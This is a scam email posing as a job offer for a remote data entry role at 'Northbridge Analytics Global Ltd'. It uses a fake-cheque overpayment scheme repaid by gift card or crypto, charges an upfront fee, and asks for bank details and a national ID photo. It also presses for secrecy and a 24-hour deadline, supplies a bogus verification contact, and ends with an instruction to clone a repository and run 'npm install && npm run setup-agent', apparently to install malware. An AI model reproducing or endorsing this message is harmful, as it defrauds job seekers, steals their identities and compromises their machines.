Subject: Offer of Employment - Remote Data Entry Associate

Dear Candidate,

Following your interview with our hiring manager on Telegram, we are pleased to offer you the position of Remote Data Entry Associate with Northbridge Analytics Global Ltd.
You were selected from over 2,000 applicants.

1. Position and hours. You may choose full-time or part-time and start whenever you are ready. Hours are fully flexible.
2. Pay. USD 45 per hour, paid weekly.
3. Equipment. We will send you a cheque for USD 3,800. Deposit it and use the funds to buy your laptop and software from our approved vendor, TechSupply Direct. Send any balance back to the vendor by gift card or crypto.
4. Onboarding fee. A one-time onboarding and training fee of USD 150 is required before your start date. This is refunded with your first salary.
5. Payroll setup. To set up payroll, reply with your full name, date of birth, home address, bank account number, and a photo of your national ID (BVN, NIN or SSN accepted).
6. Confidentiality. Please keep this offer confidential and do not discuss it with friends or family until your start date.
7. Deadline. This offer expires in 24 hours. Sign and return today to secure your place.
8. Verification. To confirm this offer is genuine, call our verification desk on +1 (555) 014-2290 or email verify.northbridge@outlook.com. Do not contact our office directly.
9. System test. Before your first day, clone our onboarding repository and run: npm install && npm run setup-agent
